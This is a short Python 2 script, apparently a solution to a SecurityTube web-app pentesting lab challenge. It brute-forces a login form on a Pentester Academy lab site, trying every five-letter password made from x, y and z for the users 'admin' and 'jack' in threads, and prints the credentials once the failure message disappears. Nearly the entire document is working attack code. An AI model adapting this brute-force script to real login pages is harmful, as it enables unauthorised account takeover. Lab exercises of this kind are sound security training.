SecurityTube WAP_Challenge1

brute1.py

from threading import Thread
import itertools
import urllib


error = "Failed! Please try again!"
listp = []

a = list(itertools.product(['x','y','z'], repeat =  5))
for e in a:
    a = ''.join(e)
    listp.append(a)

def brute(user):
     for p in listp:
         base = "http://pentesteracademylab.appspot.com/lab/webapp/1?email="+user+"%40PentesterAcademy.com&password="+p
         ct = urllib.urlopen(base)
         resp = ct.read()
         if error not in resp:             
            print "Email = PentesterAcademy@"+user+".com"
            print "Password = " + p
            exit(0)
            
                       
def main():

   users = ['admin', 'jack']
   for us in users:  
      try: 
         user = us 
         Thread(target = brute , args = (user,)).start()
      except:
         pass
main()